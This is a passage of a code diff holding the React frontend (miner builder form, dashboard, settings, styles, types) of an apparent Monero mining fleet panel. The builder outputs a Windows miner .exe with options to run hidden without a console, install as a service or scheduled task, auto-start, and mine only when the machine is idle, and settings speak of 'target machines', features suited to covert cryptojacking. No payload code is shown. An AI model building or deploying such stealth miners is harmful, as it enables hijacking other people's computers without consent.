<label className="label">Mining Mode</label>
<select
className="select"
value={form.mining_mode}
onChange={(e) => updateField('mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{form.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
value={form.idle_threshold_pct}
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
value={form.idle_duration_minutes}
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
</div>
)}
{form.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time</label>
<input
type="time"
className="input"
value={form.schedule_start}
onChange={(e) => updateField('schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time</label>
<input
type="time"
className="input"
value={form.schedule_end}
onChange={(e) => updateField('schedule_end', e.target.value)}
/>
</div>
</div>
)}
</div>
<div className="form-section">
<h3>Deployment</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.silent_mode}
onChange={(e) => updateField('silent_mode', e.target.checked)}
/>
<span>Silent / Background Mode (no console window)</span>
</label>
</div>
<div className="form-group">
<label className="label">Run As</label>
<select
className="select"
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.auto_start}
onChange={(e) => updateField('auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
</label>
</div>
</div>
{error && (
<div className="form-error">
<span></span> {error}
</div>
)}
<button type="submit" className="btn btn-success build-btn" disabled={building}>
{building ? 'Building...' : 'Build Miner .exe'}
</button>
</form>
</div>
{lastBuild?.success && (
<div className="card recent-builds">
<h2>Build Complete</h2>
<div className="build-success">
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
<p><strong>Absolute path:</strong></p>
<code className="path-display">{lastBuild.file_path}</code>
<p><strong>Relative path:</strong></p>
<code className="path-display">{lastBuild.relative_path}</code>
{lastBuild.download_url && (
<a className="btn btn-primary" href={lastBuild.download_url} download>
Download .exe
</a>
)}
</div>
</div>
)}
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Recent Builds</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
</div>
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="builds-list">
{recentBuilds.map((build) => (
<div key={build.id} className="build-item">
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
{build.file_path && (
<code className="path-display small">{build.file_path}</code>
)}
<a className="btn btn-outline" href={`/api/v1/builds/${build.id}/download`}>
Download
</a>
</div>
))}
</div>
)}
</div>
)}
</div>
</div>
);
}

View File

@@ -0,0 +1,163 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect } from 'react';
import type { Share } from '../types';
import './Pages.css';
export default function DashboardPage() {
const { isConnected, agents, stats } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error);
}, []);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
return (
<div className="page fade-in">
<div className="page-header">
<h1>Dashboard</h1>
<div className="header-status">
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
<span className="status-text">{isConnected ? 'Live' : 'Reconnecting...'}</span>
</div>
</div>
{/* Stats Cards */}
<div className="grid-4 stats-grid">
<div className="card stat-card">
<div className="stat-label">Total Hashrate</div>
<div className="stat-value hashrate">
{formatHashrate(totalHashrate)}
</div>
<div className="stat-sub">across {onlineCount} active miners</div>
</div>
<div className="card stat-card">
<div className="stat-label">Miners Online</div>
<div className="stat-value">{onlineCount} / {agents.length}</div>
<div className="stat-sub">{agents.length - onlineCount} offline</div>
</div>
<div className="card stat-card">
<div className="stat-label">Shares Accepted</div>
<div className="stat-value accepted">{acceptedShares}</div>
<div className="stat-sub">{acceptRate}% accept rate</div>
</div>
<div className="card stat-card">
<div className="stat-label">Total Shares</div>
<div className="stat-value">{totalShares}</div>
<div className="stat-sub">{totalShares - acceptedShares} rejected</div>
</div>
</div>
{/* Agent Grid */}
<div className="section">
<h2>Active Miners</h2>
<div className="agent-grid">
{agents.length === 0 && (
<div className="card empty-state">
<div className="empty-icon">🖥</div>
<h3>No miners connected</h3>
<p>Build and deploy a miner using the Miner Builder to get started.</p>
</div>
)}
{agents.map((agent) => (
<div key={agent.id} className="card agent-card">
<div className="agent-card-header">
<div className="agent-name">
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>
{agent.status}
</span>
</div>
<div className="agent-card-stats">
<div className="agent-stat">
<span className="agent-stat-label">Hashrate</span>
<span className="agent-stat-value">{formatHashrate(agent.hashrate_15m)}</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">CPU</span>
<span className="agent-stat-value">{agent.cpu_usage_pct.toFixed(0)}%</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">Shares</span>
<span className="agent-stat-value">{agent.shares_good}</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">Uptime</span>
<span className="agent-stat-value">{formatUptime(agent.uptime_seconds)}</span>
</div>
</div>
<div className="agent-card-footer">
<span className="agent-meta">{agent.ip || 'Unknown IP'}</span>
<span className="agent-meta">v{agent.version || '?'}</span>
</div>
</div>
))}
</div>
</div>
{/* Recent Shares */}
<div className="section">
<h2>Recent Shares</h2>
<div className="card">
<table className="shares-table">
<thead>
<tr>
<th>Time</th>
<th>Agent</th>
<th>Status</th>
<th>Hash</th>
</tr>
</thead>
<tbody>
{shares.length === 0 && (
<tr>
<td colSpan={4} className="empty-table">No shares submitted yet</td>
</tr>
)}
{shares.map((share) => (
<tr key={share.id}>
<td className="time-cell">{formatTime(share.timestamp)}</td>
<td>{share.agent_id?.substring(0, 8)}...</td>
<td>
<span className={`status-badge ${share.accepted ? 'online' : 'error'}`}>
{share.accepted ? 'Accepted' : 'Rejected'}
</span>
</td>
<td className="hash-cell">{share.hash?.substring(0, 16)}...</td>
</tr>
))}
</tbody>
</table>
</div>
</div>
</div>
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
function formatTime(t: string): string {
const d = new Date(t);
return d.toLocaleTimeString();
}

View File

@@ -0,0 +1,616 @@
/* Page Layout */
.page {
max-width: 1400px;
margin: 0 auto;
}
.page-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1.5rem;
}
.page-header h1 {
font-size: 1.5rem;
font-weight: 700;
}
.header-status {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.875rem;
color: var(--text-secondary);
}
.header-count {
font-size: 0.875rem;
color: var(--text-muted);
background: var(--bg-card);
padding: 0.375rem 0.75rem;
border-radius: 9999px;
}
/* Stats Grid */
.stats-grid {
margin-bottom: 2rem;
}
.stat-card {
text-align: center;
}
.stat-label {
font-size: 0.8125rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
margin-bottom: 0.5rem;
}
.stat-value {
font-size: 1.75rem;
font-weight: 700;
margin-bottom: 0.25rem;
}
.stat-value.hashrate {
color: var(--accent-cyan);
}
.stat-value.accepted {
color: var(--accent-green);
}
.stat-sub {
font-size: 0.75rem;
color: var(--text-muted);
}
/* Section */
.section {
margin-bottom: 2rem;
}
.section h2 {
font-size: 1.125rem;
font-weight: 600;
margin-bottom: 1rem;
}
/* Agent Grid */
.agent-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
gap: 1rem;
}
.agent-card {
transition: border-color 0.2s ease;
}
.agent-card:hover {
border-color: var(--accent-blue);
}
.agent-card-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1rem;
}
.agent-name {
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 600;
}
.agent-card-stats {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 0.75rem;
margin-bottom: 0.75rem;
}
.agent-stat {
display: flex;
flex-direction: column;
}
.agent-stat-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.agent-stat-value {
font-size: 1rem;
font-weight: 600;
color: var(--text-primary);
}
.agent-card-footer {
display: flex;
justify-content: space-between;
font-size: 0.75rem;
color: var(--text-muted);
}
.agent-meta {
font-family: 'SF Mono', 'Fira Code', monospace;
}
/* Shares Table */
.shares-table {
width: 100%;
border-collapse: collapse;
}
.shares-table th {
text-align: left;
font-size: 0.75rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
padding: 0.5rem 0.75rem;
border-bottom: 1px solid var(--border-color);
}
.shares-table td {
padding: 0.5rem 0.75rem;
font-size: 0.8125rem;
border-bottom: 1px solid var(--border-color);
}
.shares-table tr:last-child td {
border-bottom: none;
}
.time-cell {
font-family: 'SF Mono', 'Fira Code', monospace;
color: var(--text-muted);
font-size: 0.75rem;
}
.hash-cell {
font-family: 'SF Mono', 'Fira Code', monospace;
color: var(--text-secondary);
font-size: 0.75rem;
}
.empty-table {
text-align: center;
color: var(--text-muted);
padding: 2rem !important;
}
/* Empty State */
.empty-state {
text-align: center;
padding: 3rem 2rem;
}
.empty-icon {
font-size: 3rem;
margin-bottom: 1rem;
}
.empty-state h3 {
font-size: 1.125rem;
margin-bottom: 0.5rem;
}
.empty-state p {
color: var(--text-muted);
font-size: 0.875rem;
}
/* Agents Page */
.agents-layout {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1.5rem;
align-items: start;
}
@media (max-width: 1024px) {
.agents-layout {
grid-template-columns: 1fr;
}
}
.agents-list {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.agent-list-item {
cursor: pointer;
transition: all 0.2s ease;
}
.agent-list-item:hover {
border-color: var(--accent-blue);
}
.agent-list-item.selected {
border-color: var(--accent-blue);
background: rgba(59, 130, 246, 0.05);
}
.agent-list-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 0.5rem;
}
.agent-list-name {
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 600;
}
.agent-list-details {
display: flex;
gap: 1rem;
font-size: 0.8125rem;
color: var(--text-secondary);
margin-bottom: 0.375rem;
}
.agent-list-meta {
display: flex;
gap: 1rem;
font-size: 0.75rem;
color: var(--text-muted);
font-family: 'SF Mono', 'Fira Code', monospace;
}
/* Agent Detail */
.agent-detail h2 {
font-size: 1.25rem;
margin-bottom: 1rem;
}
.agent-detail-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1rem;
margin-bottom: 1.5rem;
}
.detail-item {
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.detail-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.detail-value {
font-size: 0.875rem;
font-weight: 500;
}
.detail-value.mono {
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.75rem;
}
.detail-section {
margin-bottom: 1.5rem;
}
.detail-section h3 {
font-size: 0.9375rem;
font-weight: 600;
margin-bottom: 0.75rem;
color: var(--text-secondary);
}
.hashrate-detail-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.hashrate-item {
text-align: center;
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
}
.hashrate-value {
font-size: 1.125rem;
font-weight: 700;
color: var(--accent-cyan);
}
.shares-detail-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.share-stat {
text-align: center;
padding: 0.75rem;
border-radius: 8px;
}
.share-stat.good {
background: rgba(34, 197, 94, 0.1);
}
.share-stat.bad {
background: rgba(239, 68, 68, 0.1);
}
.share-stat.total {
background: var(--bg-secondary);
}
.share-count {
display: block;
font-size: 1.5rem;
font-weight: 700;
}
.share-stat.good .share-count { color: var(--accent-green); }
.share-stat.bad .share-count { color: var(--accent-red); }
.share-stat.total .share-count { color: var(--text-primary); }
.share-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
/* Hashrate Chart */
.hashrate-chart {
display: flex;
align-items: flex-end;
gap: 2px;
height: 120px;
padding: 0.5rem 0;
}
.chart-bar {
flex: 1;
background: linear-gradient(to top, var(--accent-blue), var(--accent-cyan));
border-radius: 2px 2px 0 0;
min-width: 4px;
transition: height 0.3s ease;
cursor: pointer;
opacity: 0.8;
}
.chart-bar:hover {
opacity: 1;
}
/* Builder Page */
.builder-layout {
display: grid;
grid-template-columns: 1fr 360px;
gap: 1.5rem;
align-items: start;
}
@media (max-width: 1024px) {
.builder-layout {
grid-template-columns: 1fr;
}
}
.builder-form h2 {
font-size: 1.25rem;
margin-bottom: 0.5rem;
}
.form-description {
font-size: 0.875rem;
color: var(--text-muted);
margin-bottom: 1.5rem;
line-height: 1.5;
}
.form-section {
margin-bottom: 1.5rem;
padding-bottom: 1.5rem;
border-bottom: 1px solid var(--border-color);
}
.form-section:last-of-type {
border-bottom: none;
}
.form-section h3 {
font-size: 0.9375rem;
font-weight: 600;
color: var(--text-secondary);
margin-bottom: 1rem;
}
.form-group {
margin-bottom: 1rem;
}
.form-row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1rem;
}
.form-hint {
display: block;
font-size: 0.75rem;
color: var(--text-muted);
margin-top: 0.25rem;
}
.checkbox-group {
margin-bottom: 0.75rem;
}
.checkbox-label {
display: flex;
align-items: center;
gap: 0.625rem;
font-size: 0.875rem;
cursor: pointer;
color: var(--text-primary);
}
.form-error {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.75rem 1rem;
background: rgba(239, 68, 68, 0.1);
border: 1px solid rgba(239, 68, 68, 0.3);
border-radius: 8px;
color: var(--accent-red);
font-size: 0.875rem;
margin-bottom: 1rem;
}
.build-btn {
width: 100%;
justify-content: center;
padding: 0.875rem;
font-size: 1rem;
}
/* Recent Builds */
.recent-builds {
position: sticky;
top: 1.5rem;
}
.recent-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1rem;
}
.recent-header h2 {
font-size: 1rem;
}
.empty-text {
color: var(--text-muted);
font-size: 0.875rem;
text-align: center;
padding: 2rem;
}
.builds-list {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.build-item {
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
}
.build-item-name {
font-weight: 600;
font-size: 0.875rem;
margin-bottom: 0.25rem;
}
.build-item-details {
display: flex;
gap: 0.75rem;
font-size: 0.75rem;
color: var(--text-muted);
}
/* Settings Page */
.settings-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1.5rem;
}
@media (max-width: 1024px) {
.settings-grid {
grid-template-columns: 1fr;
}
}
.settings-section h2 {
font-size: 1.125rem;
margin-bottom: 0.25rem;
}
.section-desc {
font-size: 0.8125rem;
color: var(--text-muted);
margin-bottom: 1.25rem;
}
.save-message {
padding: 0.75rem 1rem;
border-radius: 8px;
font-size: 0.875rem;
margin-bottom: 1rem;
}
.save-message.success {
background: rgba(34, 197, 94, 0.1);
border: 1px solid rgba(34, 197, 94, 0.3);
color: var(--accent-green);
}
.save-message.error {
background: rgba(239, 68, 68, 0.1);
border: 1px solid rgba(239, 68, 68, 0.3);
color: var(--accent-red);
}
.input.mono {
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.8125rem;
}
.build-success {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.path-display {
display: block;
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.75rem;
word-break: break-all;
color: var(--accent-cyan);
}
.path-display.small {
margin-top: 0.5rem;
margin-bottom: 0.5rem;
}

View File

@@ -0,0 +1,363 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { ServerConfig } from '../types';
import './Pages.css';
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
useEffect(() => {
api.getConfig()
.then(setConfig)
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const updateField = (path: string, value: any) => {
if (!config) return;
const newConfig = { ...config };
const keys = path.split('.');
let obj: any = newConfig;
for (let i = 0; i < keys.length - 1; i++) {
obj = obj[keys[i]];
}
obj[keys[keys.length - 1]] = value;
setConfig(newConfig);
};
const handleSave = async () => {
if (!config) return;
setSaving(true);
setSaveMessage('');
try {
const updated = await api.updateConfig(config);
setConfig(updated);
setSaveMessage('✅ Settings saved successfully');
setTimeout(() => setSaveMessage(''), 3000);
} catch (err: any) {
setSaveMessage(`❌ Failed to save: ${err.message}`);
} finally {
setSaving(false);
}
};
if (loading) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Loading settings...</p></div>
</div>
);
}
if (!config) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Failed to load settings</p></div>
</div>
);
}
return (
<div className="page fade-in">
<div className="page-header">
<h1>Settings</h1>
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? '💾 Saving...' : '💾 Save Settings'}
</button>
</div>
{saveMessage && (
<div className={`save-message ${saveMessage.includes('✅') ? 'success' : 'error'}`}>
{saveMessage}
</div>
)}
<div className="settings-grid">
{/* Pool Configuration */}
<div className="card settings-section">
<h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input"
value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)}
placeholder="pool.supportxmr.com"
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
/>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Password (optional)</label>
<input
type="text"
className="input"
value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)}
placeholder="x"
/>
</div>
</div>
{/* Wallet Configuration */}
<div className="card settings-section">
<h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<input
type="text"
className="input mono"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)}
placeholder="4..."
/>
</div>
<div className="form-group">
<label className="label">Payment ID (optional)</label>
<input
type="text"
className="input mono"
value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
/>
</div>
</div>
{/* Default Agent Config */}
<div className="card settings-section">
<h2>Default Agent Configuration</h2>
<p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
<div className="form-group">
<label className="label">CPU Priority</label>
<select
className="select"
value={config.default_agent_config.cpu_priority}
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.max_cpu_usage_pct}
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<input
type="number"
className="input"
min={256}
value={config.default_agent_config.min_free_ram_mb}
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode</label>
<select
className="select"
value={config.default_agent_config.mining_mode}
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.idle_threshold_pct}
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
min={1}
value={config.default_agent_config.idle_duration_minutes}
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
</div>
)}
{config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time</label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_start}
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time</label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_end}
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
/>
</div>
</div>
)}
</div>
{/* Background / Silent Mode */}
<div className="card settings-section">
<h2>Background & Deployment</h2>
<p className="section-desc">How miners behave on target machines.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/>
<span>Silent Mode (no console window, runs hidden)</span>
</label>
</div>
<div className="form-group">
<label className="label">Run As</label>
<select
className="select"
value={config.background.run_as}
onChange={(e) => updateField('background.run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.minimize_to_tray}
onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
/>
<span>Minimize to System Tray</span>
</label>
</div>
</div>
{/* Alerts */}
<div className="card settings-section">
<h2>Alerts</h2>
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
<div className="form-group">
<label className="label">Offline Threshold (minutes)</label>
<input
type="number"
className="input"
min={1}
value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
</div>
<div className="form-group">
<label className="label">Hashrate Drop Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
/>
<span className="form-hint">Alert if hashrate drops by this percentage</span>
</div>
<div className="form-group">
<label className="label">Rejection Rate Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
</div>
</div>
</div>
</div>
);
}

View File

@@ -0,0 +1,264 @@
:root {
--bg-primary: #0a0e17;
--bg-secondary: #111827;
--bg-card: #1a2235;
--bg-hover: #243049;
--border-color: #2a3a5c;
--text-primary: #e2e8f0;
--text-secondary: #94a3b8;
--text-muted: #64748b;
--accent-green: #22c55e;
--accent-red: #ef4444;
--accent-yellow: #eab308;
--accent-blue: #3b82f6;
--accent-purple: #8b5cf6;
--accent-cyan: #06b6d4;
--online-color: #22c55e;
--offline-color: #64748b;
--error-color: #ef4444;
--shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background-color: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
min-height: 100vh;
}
a {
color: var(--accent-blue);
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
/* Scrollbar styling */
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--bg-secondary);
}
::-webkit-scrollbar-thumb {
background: var(--border-color);
border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
background: var(--text-muted);
}
/* Utility classes */
.card {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 12px;
padding: 1.5rem;
box-shadow: var(--shadow);
}
.btn {
display: inline-flex;
align-items: center;
gap: 0.5rem;
padding: 0.625rem 1.25rem;
border: none;
border-radius: 8px;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
transition: all 0.2s ease;
}
.btn-primary {
background: var(--accent-blue);
color: white;
}
.btn-primary:hover {
background: #2563eb;
}
.btn-success {
background: var(--accent-green);
color: white;
}
.btn-success:hover {
background: #16a34a;
}
.btn-danger {
background: var(--accent-red);
color: white;
}
.btn-danger:hover {
background: #dc2626;
}
.btn-outline {
background: transparent;
border: 1px solid var(--border-color);
color: var(--text-primary);
}
.btn-outline:hover {
background: var(--bg-hover);
}
/* Form elements */
.input {
width: 100%;
padding: 0.625rem 0.875rem;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 0.875rem;
transition: border-color 0.2s ease;
}
.input:focus {
outline: none;
border-color: var(--accent-blue);
}
.select {
width: 100%;
padding: 0.625rem 0.875rem;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 0.875rem;
cursor: pointer;
}
.select:focus {
outline: none;
border-color: var(--accent-blue);
}
.checkbox {
width: 1.125rem;
height: 1.125rem;
accent-color: var(--accent-blue);
cursor: pointer;
}
.label {
display: block;
font-size: 0.8125rem;
font-weight: 500;
color: var(--text-secondary);
margin-bottom: 0.375rem;
}
/* Status badges */
.status-badge {
display: inline-flex;
align-items: center;
gap: 0.375rem;
padding: 0.25rem 0.75rem;
border-radius: 9999px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.status-badge.online {
background: rgba(34, 197, 94, 0.15);
color: var(--online-color);
}
.status-badge.offline {
background: rgba(100, 116, 139, 0.15);
color: var(--offline-color);
}
.status-badge.error {
background: rgba(239, 68, 68, 0.15);
color: var(--error-color);
}
.status-dot {
width: 0.5rem;
height: 0.5rem;
border-radius: 50%;
display: inline-block;
}
.status-dot.online {
background: var(--online-color);
box-shadow: 0 0 6px var(--online-color);
}
.status-dot.offline {
background: var(--offline-color);
}
.status-dot.error {
background: var(--error-color);
box-shadow: 0 0 6px var(--error-color);
}
/* Grid layouts */
.grid-2 {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1rem;
}
.grid-3 {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.grid-4 {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 1rem;
}
@media (max-width: 1200px) {
.grid-4 { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 768px) {
.grid-2, .grid-3, .grid-4 { grid-template-columns: 1fr; }
}
/* Animations */
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
.fade-in {
animation: fadeIn 0.3s ease forwards;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.pulse {
animation: pulse 2s ease-in-out infinite;
}

View File

@@ -0,0 +1,150 @@
export interface Agent {
id: string;
name: string;
wallet: string;
ip: string;
version: string;
status: 'online' | 'offline' | 'error';
cpu_cores: number;
memory_gb: number;
last_seen: string;
created_at: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
shares_total: number;
shares_good: number;
shares_bad: number;
cpu_usage_pct: number;
memory_usage_pct: number;
uptime_seconds: number;
}
export interface Share {
id: number;
agent_id: string;
job_id: string;
